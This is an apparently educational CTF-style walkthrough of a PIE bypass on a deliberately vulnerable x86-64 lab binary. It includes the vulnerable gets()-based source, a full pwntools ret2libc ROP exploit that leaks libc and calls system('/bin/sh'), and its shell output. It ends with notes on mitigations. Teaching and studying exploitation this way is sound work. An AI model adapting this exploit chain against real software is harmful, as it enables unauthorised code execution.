

PIE Bypass Exploit - Walkthrough

Binary: level4_pie | Arch: x86-64 | OS: Linux | Difficulty: Advanced

What is a PIE Bypass Exploit?

PIE (Position Independent Executable) randomizes the base address of the binary. All internal addresses (functions, GOT, strings) are relative to the PIE Base. Unlike ret2libc where we leak libc, here we must first leak a BINARY address to compute the PIE Base, then use that to find our ROP gadgets and PLT/GOT entries.

The key insight: the binary LEAKS the address of vuln() via printf("%p"). This single leak gives us everything we need to bypass PIE.

Binary - Security Settings

Compiled with: gcc -fno-stack-protector -pie -Wl,-z,norelro

Protection	Status
Stack Canary	DISABLED - Buffer overflow not detected
PIE	ENABLED - Binary addresses randomized
NX	ENABLED - Stack not executable (ROP needed)
RELRO	No RELRO - GOT is writable
ASLR	ENABLED - libc/stack randomized

KEY: PIE is ON, so we cannot use hardcoded addresses. But the binary conveniently leaks vuln() address, giving us the PIE Base. NX is on, so we need ROP (not shellcode). No RELRO means GOT is writable (useful for other attacks, but not needed here).

The Source Code (pie_leak.c)

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((naked)) void pop_rdi() {
    __asm__ volatile("pop %rdi\nret");
}

void vuln() {
    char buf[64];
    printf("Level 4 - PIE Bypass\n");
    printf("PIE ist aktiv, Adressen sind randomisiert.\n");
    printf("Hier ist ein Leak: %p\n", vuln);
    printf("Gib deinen Payload: ");
    gets(buf);
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    vuln();
    return 0;
}
```

The Vulnerability - gets()

gets() reads from stdin into a 64-byte buffer WITHOUT length checking. Inputting more than 64 bytes overflows the stack.

Stack Layout of vuln()

```
+-----+
| buf[64]           | <- Our input lands here
+-----+
| saved RBP (8 Byte) | <- Overwritten with junk
+-----+
| return addr (8 Byte) | <- Overwritten with ROP chain
+-----+
```

Offset = 64 (Buffer) + 8 (RBP) = 72 bytes to return address

The PIE Leak - Why This Challenge is Special

The binary prints: "Hier ist ein Leak: %p\n", vuln\nThis outputs the RUNTIME address of vuln() at every execution. Since we know vuln() is at offset 0x11b2 in the ELF, we can compute:

```
pie_base = leaked_vuln_addr - 0x11b2

# Example:
# leaked_vuln = 0x55a1b3c4d1b2
# pie_base    = 0x55a1b3c4d1b2 - 0x11b2
#             = 0x55a1b3c4c000
```

Gadgets and Addresses

ROP Gadgets (from Binary)

Since glibc 2.34+ removed `__libc_csu_init`, we added a `pop_rdi` gadget:

```
pop_rdi : 0x11a9 (pop rdi; ret - from our helper function)
ret     : 0x101a (ret - for stack alignment)
```

PLT Entries (Procedure Linkage Table)

PLT stubs for calling external functions:

```
puts@plt : 0x1084    printf@plt : 0x1094
gets@plt : 0x10a4    setvbuf@plt : 0x10b4
```

GOT Entries (Global Offset Table)

GOT slots that store resolved libc addresses:

```
puts@got : 0x33b8    printf@got : 0x33c0
gets@got : 0x33c8
```

Key Symbols

```
vuln() : 0x11b2    main() : 0x1222
```

Libc Offsets (local system libc)

```
puts : 0x87be0    system : 0x58750
/bin/sh : 0x1cb42f
```

The Strategy - Two-Stage Attack**PHASE 1: LEAK - Find libc base**

Goal: Call puts@plt(puts@got) to print the real libc address of puts.

Why puts? Because puts is already called in vuln(), so its GOT entry is resolved.

The output: the libc address of puts as raw bytes (until null byte).

```
# PIE Base from leak:
pie_base = leaked_vuln - 0x11b2

# Absolute addresses:
pop_rdi   = pie_base + 0x11a9
puts_plt  = pie_base + 0x1084
puts_got  = pie_base + 0x33b8
vuln_addr = pie_base + 0x11b2

# ROP Chain:
payload1 = b"A" * 72          # 64 buf + 8 saved RBP
payload1 += p64(pop_rdi)      # pop rdi; ret
payload1 += p64(puts_got)     # rdi = puts@GOT
payload1 += p64(puts_plt)     # call puts -> leak libc addr
payload1 += p64(vuln_addr)    # return to vuln for Phase 2
```

PHASE 2: EXPLOIT - system("/bin/sh")

Now we know libc_base. Calculate system and /bin/sh addresses.

Use ret gadget for 16-byte stack alignment (required by System V ABI).

```
libc_base = leaked_puts - 0x87be0

system_addr = libc_base + 0x58750
binsh_addr  = libc_base + 0x1cb42f

payload2 = b"A" * 72
payload2 += p64(ret)          # Stack alignment (CRITICAL!)
payload2 += p64(pop_rdi)      # pop rdi; ret
payload2 += p64(binsh_addr)   # rdi = "/bin/sh"
payload2 += p64(system_addr)  # call system()
```

Address Overview

Binary Addresses (relative to PIE base)

Address	Value
pop_rdi (gadget)	0x11a9
ret (alignment)	0x101a
puts@plt	0x1084
printf@plt	0x1094
gets@plt	0x10a4
puts@got	0x33b8
printf@got	0x33c0
gets@got	0x33c8
vuln()	0x11b2
main()	0x1222

Libc Offsets (local)

Function	Offset
puts	0x87be0
system	0x58750
/bin/sh	0x1cb42f
__libc_start_main	0x2a200

Calculation Formulas

PIE Base:

$\text{pie_base} = \text{leaked_vuln} - 0x11b2$

Libc Base:

$\text{libc_base} = \text{leaked_puts} - 0x87be0$

Any binary address:

$\text{addr} = \text{pie_base} + \text{relative_offset}$

Any libc address:

$\text{addr} = \text{libc_base} + \text{libc_offset}$

Complete Exploit - finalexploit.py

```

from pwn import *

context.arch = 'amd64'

elf = ELF('./pie_leak')
libc = ELF('./lib.so.6')

p = process('./pie_leak')

# =====
# Stage 1: Leak libc via puts(puts@GOT)
# =====

# Read leaked vuln address
p.recvuntil(b"Hier ist ein Leak: ")
leak_vuln = int(p.recvline().strip(), 16)
log.info(f"leaked vuln: {hex(leak_vuln)}")

# PIE base berechnen
pie_base = leak_vuln - elf.symbols["vuln"]
log.info(f"PIE base: {hex(pie_base)}")

# Offsets berechnen
pop_rdi    = pie_base + elf.symbols["pop_rdi"]
ret        = pie_base + 0x101a
puts_plt   = pie_base + elf.plt["puts"]
puts_got   = pie_base + elf.got["puts"]
vuln_addr  = pie_base + elf.symbols["vuln"]

offset = 72

# ROP chain: puts(puts@got) -> leak libc, then back to vuln
payload1 = b"A" * offset
payload1 += p64(pop_rdi)
payload1 += p64(puts_got)
payload1 += p64(puts_plt)
payload1 += p64(vuln_addr)

p.sendlineafter(b"Gib deinen Payload: ", payload1)

# Empfange den geleakten puts libc-address
leaked_puts = u64(p.recvline().strip().ljust(8, b"\x00"))
log.info(f"leaked puts@libc: {hex(leaked_puts)}")

# libc base berechnen
libc_base = leaked_puts - libc.symbols["puts"]
log.info(f"libc base: {hex(libc_base)}")

# =====
# Stage 2: system("/bin/sh")

```

PWN College - PIE Bypass Walkthrough

```
# =====  
  
system_addr = libc_base + libc.symbols["system"]  
binsh_addr  = libc_base + next(libc.search(b"/bin/sh"))  
  
# ROP chain: system("/bin/sh")  
payload2 = b"A" * offset  
payload2 += p64(ret)  
payload2 += p64(pop_rdi)  
payload2 += p64(binsh_addr)  
payload2 += p64(system_addr)  
  
p.sendlineafter(b"Gib deinen Payload: ", payload2)  
  
log.success("Got shell!")  
p.interactive()
```

Exploit - Line-by-Line Explanation

from pwn import *

-> Import pwntools - standard library for exploit development.

context.arch = 'amd64'

-> Set architecture to x86-64 for correct p64/u64 sizes.

elf = ELF('./pie_leak')

-> Load the binary to access symbols, PLT, GOT offsets.

libc = ELF('./lib.so.6')

-> Load libc to access function offsets (system, puts, etc.).

p = process('./pie_leak')

-> Start the binary as a child process. pwntools connects stdin/stdout.

p.recvuntil(b"Hier ist ein Leak: ")

-> Wait until the binary outputs the vuln address prefix.

leak_vuln = int(p.recvline().strip(), 16)

-> Read the hex address and convert to integer.

pie_base = leak_vuln - elf.symbols["vuln"]

-> Subtract known vuln offset (0x11b2) to get PIE base.

pop_rdi = pie_base + elf.symbols["pop_rdi"]

-> Calculate absolute address of our pop_rdi gadget.

puts_plt = pie_base + elf.plt["puts"]

-> Calculate absolute address of puts@plt.

puts_got = pie_base + elf.got["puts"]

-> Calculate absolute address of puts@got.

payload1 = b"A" * 72

-> 72 bytes padding: 64 (buffer) + 8 (saved RBP).

payload1 += p64(pop_rdi) + p64(puts_got)

-> Set rdi = puts@got for the puts call.

payload1 += p64(puts_plt)

-> Call puts@plt to print the libc address at puts@got.

payload1 += p64(vuln_addr)

-> Return to vuln() for Stage 2.

leaked_puts = u64(...)

-> Convert leaked bytes back to 64-bit address.

libc_base = leaked_puts - libc.symbols["puts"]

-> Subtract puts offset to get libc base.

payload2 += p64(ret)

-> Stack alignment - system() requires 16-byte aligned stack.

payload2 += p64(pop_rdi) + p64(binsh_addr)

-> Set rdi = "/bin/sh" for system().

payload2 += p64(system_addr)

-> Call system("/bin/sh") -> shell!

p.interactive()

-> Hand control to user for shell interaction.

Execution Flow

1. main() calls vuln() -> return address pushed to stack
2. vuln() allocates 64-byte buffer on stack
3. printf("Hier ist ein Leak: %p", vuln) -> LEAKS vuln address
4. gets(buf) waits for input - NO LENGTH CHECK!
5. SEND PAYLOAD 1: 72 padding + pop_rdi + puts_got + puts_plt + vuln

PWN College - PIE Bypass Walkthrough

6. puts@plt(puts@got) prints REAL libc address of puts
7. Return to vuln() - second round
8. SEND PAYLOAD 2: 72 padding + ret + pop_rdi + /bin/sh + system
9. Stack alignment (ret) + rdi="/bin/sh" + system() called
10. SHELL!

Expected Output

```
$ python3 finalexploit.py
[*] leaked vuln: 0x55a1b3c4d1b2
[*] PIE base: 0x55a1b3c4c000
[*] leaked puts@libc: 0x7f1234587be0
[*] libc base: 0x7f1234500000
[+] Got shell!
[*] Switching to interactive mode
$ id
uid=1000(etiennekrein) gid=1000(etiennekrein)
$ whoami
etiennekrein
$ exit
```

What Would Have Prevented This Exploit?

[YES] Stack Canary

Random value checked before return. Overflow detected -> program abort.

[YES] Full RELRO

GOT is read-only. Prevents GOT overwrite attacks (not used here, but useful).

[YES] No printf leak

If the binary did NOT print vuln() address, PIE bypass would be much harder.

[NO] NX - Does not help here

NX prevents shellcode, but this exploit uses ROP to existing code (puts, system).

VERDICT: The printf leak of vuln() address is the critical weakness. Without it, PIE would be much harder to bypass. Stack Canary would also stop this exploit.

TL;DR - Summary

```
Payload = 72 Bytes Padding + pop_rdi + puts@got + puts@plt + vuln
-> leaks libc base
-> 72 Bytes Padding + ret + pop_rdi + /bin/sh + system
-> shell!

72 = 64 (Buffer) + 8 (saved RBP)
Key: Binary leaks vuln() address -> PIE Base -> all addresses known
```

Bonus: Address Leaking Cheatsheet

For more techniques on leaking addresses (GOT, libc, stack, heap), see the companion "address_leaking_cheatsheet.pdf" in the same directory.